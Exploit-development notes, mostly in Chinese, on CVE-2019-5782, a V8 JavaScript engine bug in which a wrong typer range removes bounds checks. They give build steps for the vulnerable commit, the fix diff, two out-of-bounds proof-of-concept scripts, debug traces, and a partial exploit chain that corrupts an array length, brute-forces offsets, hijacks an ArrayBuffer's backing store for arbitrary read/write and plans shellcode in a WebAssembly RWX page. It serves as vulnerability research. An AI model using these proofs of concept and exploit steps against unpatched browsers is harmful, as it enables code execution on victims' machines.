[TOC]
漏洞信息 - Report: Nov 2018 - Fix: Jan 2019 - Credit: Zhao Qixun(@S0rryMybad) of Qihoo 360 Vulcan Team - Similar to `Math.expm1` vulnerability. - Wrong typer's assumption caused Out-Of-Bound Read/Write
Write up
fix info https://chromium-review.googlesource.com/c/v8/v8/+/1363142 fix commit https://chromium.googlesource.com/v8/v8/+/deee0a87c0567f9e9bf18e1c8e2417c2f09d9b04
bugs_chromium
CVE-2019-5782
Blink>JavaScript>WebAssembly Blink>JavaScript
CVE-2019-5782 v8数组越界漏洞分析与利用
编译 可利用v8版本
得到版本v8版本 b474b3102bd4a95eafcdb68e0e44656046132bc9 git checkout b474b3102bd4a95eafcdb68e0e44656046132bc9 gclient sync -D --verbose tools/dev/v8gen.py x64.debug -vv tools/dev/v8gen.py x64.release -vv ninja -C out.gn/x64.debug d8 -v ninja -C out.gn/x64.release d8 -v
fix分析 static const int kArgumentsBits = 16 ;static const int kMaxArguments = (1 << kArgumentsBits) - 2 ; case IrOpcode::kNewArgumentsElements: CheckValueInputIs(node, 0 , Type::ExternalPointer()); CheckValueInputIs(node, 1 , Type::Range(-Code::kMaxArguments, Code::kMaxArguments, zone)); CheckTypeIs(node, Type::OtherInternal()); break ; -> case IrOpcode::kNewArgumentsElements: CheckValueInputIs(node, 0 , Type::ExternalPointer()); CheckValueInputIs(node, 1 , Type::Unsigned30()); Type const kArgumentsLengthType = Type::Range(0.0 , Code::kMaxArguments, zone()); -> Type const kArgumentsLengthType = Type::Unsigned30();
1.2. PoC 分析 poc1 https://chromium-review.googlesource.com/c/v8/v8/+/1363142/3/test/mjsunit/regress/regress-crbug-906043.js As similar to Math.expm1, x >> 16 is evaluated as false at simplified-lowering phase. We can do Out-Of-Bounds R/W via CheckBounds elimination .
function fun (arg ) { let x = arguments .length ; a1 = new Array (0x10 ); a1[0 ] = 1.1 ; a2 = new Array (0x10 ); a2[0 ] = 1.1 ; a1[(x >> 16 ) * 21 ] = 1.39064994160909e-309 ; a1[(x >> 16 ) * 41 ] = 8.91238232205e-313 ; } var a1, a2;var a3 = [1.1 , 2.2 ];a3.length = 0x11000 ; a3.fill (3.3 ); var a4 = [1.1 ];for (let i = 0 ; i < 3 ; i++) fun (...a4);%OptimizeFunctionOnNextCall (fun); fun (...a4);res = fun (...a3); assertEquals (16 , a2.length );for (let i = 8 ; i < 32 ; i++) { assertEquals (undefined , a2[i]); }
poc2 https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2019-5782.md
function opt (arg ) { let x = arguments .length ; a1 = new Array (0x10 ); a2 = new Array (2 ); a2[0 ] = 1.1 ; a2[1 ] = 1.1 ; a1[(x >> 16 ) * 0xf00000 ] = 1.39064994160909e-309 ; } var a1, a2;let small = [1.1 ];let large = [1.1 ,1.1 ];large.length = 65536 ; large.fill (1.1 ); for (let j = 0 ; j< 100000 ; j++) { opt.apply (null , small); } opt.apply (null , large);
开始分析poc2 typed lowering分析 在SpeculativeNumberShiftRight节点上面有一个LoadField节点,在这个优化阶段,编译器无法得到LoadFiled节点的值,所以对NumberShiftRight进行 range analysis 时,会将其范围直接认为是int32的最大和最小值。
Type OperationTyper::NumberShiftRight (Type lhs, Type rhs) { std::cout << "[-] min_lhs : " << min_lhs << std::endl; std::cout << "[-] max_lhs : " << max_lhs << std::endl; std::cout << "[-] min_rhs : " << min_rhs << std::endl; std::cout << "[-] max_rhs : " << max_rhs << std::endl; std::cout << "[-] min : " << min << std::endl; std::cout << "[-] max : " << max << std::endl; [-] max_lhs : 2147483647 [-] min_rhs : 16 [-] max_rhs : 16 [-] min : -32768 [-] max : 32767 [-] min_lhs : 0 [-] max_lhs : 65534 [-] min_rhs : 16 [-] max_rhs : 16 [-] min : 0 [-] max : 0
escape analysis phase ./d8 --shell --allow-natives-syntax --trace-turbo ~/Desktop/v8_test/CVE-2019-5782_zhaoqixun_2018_11_16/poc2.js
win7下wen访问web分析 turbolizer 分析后看到在 load elimination,escape analysis时
Although x can be large than 65534, optimizer thinks x >> 16 is 0. That causes simplified-lowerer to do CheckBounds elimination.
void VisitCheckBounds (Node* node, SimplifiedLowering* lowering) { ... std::cout << "[-] index_type.Min() : " << index_type.Min () << std::endl; std::cout << "[-] index_type.Max() : " << index_type.Max () << std::endl; std::cout << "[-] length_type.Min() : " << length_type.Min () << std::endl;
As we expected, false propagation makes index_type_Min/Max() 0.
[-] TypeArgumentsLength was called [-] index_type.Min() : 0 [-] index_type.Max() : 0 [-] length_type.Min() : 16 [-] index_type.Min() : 0 [-] index_type.Max() : 0 [-] length_type.Min() : 16
the result of checking the turbolizer in the escape analysis phase ,
which shows that checkbounds exist. Here’s what we can check for this CheckBounds :
simplified-lowering phases 在SimplifiedLoweringPhase阶段会对SpeculativeNumberShiftRight的范围再次计算,用于消除CheckBounds:16 >> x is calculated, and multiply constant value (51) to result value. And final result value is input node of CheckBounds . However, after the simplified-lowering phases , this CheckBounds Node will disappear as follows.
So, now there is no boundary check, so you can freely access OOB R / W. :) Exploit itself is incredibly simple, since OOB R / W is available
参考文章 Google_CTF_2018_DuplicateAdditionReducer.md The above link covers Turbofan fairly well.
Math.expm1-35C3_CTF_2018_V8_Krautflare patch_ctf +0和-0不分的 优化错误
漏洞利用思路 因为错误的假定,typer输入了错误的长度范围
>>> len("10000000000000000" ) 17 >>> len("1111111111111111" ) 16 >>> 0x1ffff >> 16 1
最终能访问 1*index form的位置
最终利用 OOB R/W 有效后,调整unboxed double array’s l;ength去造成 另一个oob r/w. 修改 backing_store of ArrayBuffer 通过仿制 ArrayBuffer在他之后。
用 rop payload
wasm function 的v8 进程内存创建了rwx page.放shellcode在这个区段然后arb code
有了越界写,怎么知道写入哪里写入 victim array length 这里是51 function fun (arg ) { let x = arguments .length ; a1 = new Array (0x10 ); a1[0 ] = 1.1 ; a2 = new Array (0x10 ); a2[0 ] = 1.1 ; victim = new Array (1.1 , 2.2 , 3.3 , 4.4 ); a1[(x >> 16 ) * {m_index}] = 8.691694759794e-311 ; }
a1在前,victim在后,从前往后写入 写python脚本去遍历m_index 范围 0-100
python3 ~/Desktop/v8_test/CVE-2019-5782_zhaoqixun_2018_11_16/CVE-2019-5782_exp2_py.py -f ~/Desktop/v8_test/CVE-2019-5782_zhaoqixun_2018_11_16/CVE-2019-5782_exp2.js ... write new path : /tmp/CVE-2019-5782_exp2_51.js ./d8 --allow-natives-syntax /tmp/CVE-2019-5782_exp2_51.js [+] log : start ... [+] log : gc ... [-] index_type.Min() : 0 [-] index_type.Max() : 0 [-] length_type.Min() : 16 [-] index_type.Min() : 0 [-] index_type.Max() : 0 [-] length_type.Min() : 16 [+] log : trigger ... [+] log : victim.length = 4096 Trace/breakpoint trap (core dumped)
尝试拿到任意读写 之前有了越界写,可以写入 victim 长度,然后再控制victim后面的ArrayBuffer 长度。
在后面构造Array 如 let leaked = [0xdada, 0xadad, f, {}, 1.1]; ,尝试读取 victim[index] == 0xdada和 0xadad 找到 wasm_f_idx,拿到 wasm_obj_address
在后面构造ArrayBuffer 如 let ab = new ArrayBuffer(0x50);,尝试读取 victim[index] ==0x50 找到 ab_ArrayBuffer_length_idx,这时候可以控制 ArrayBuffer ‘s backing_store。
通过 ArrayBuffer ‘s backing_store 可以AAR,AAW
注意最后rwx写入时候偏移不用+1
最终利用-两种实现 …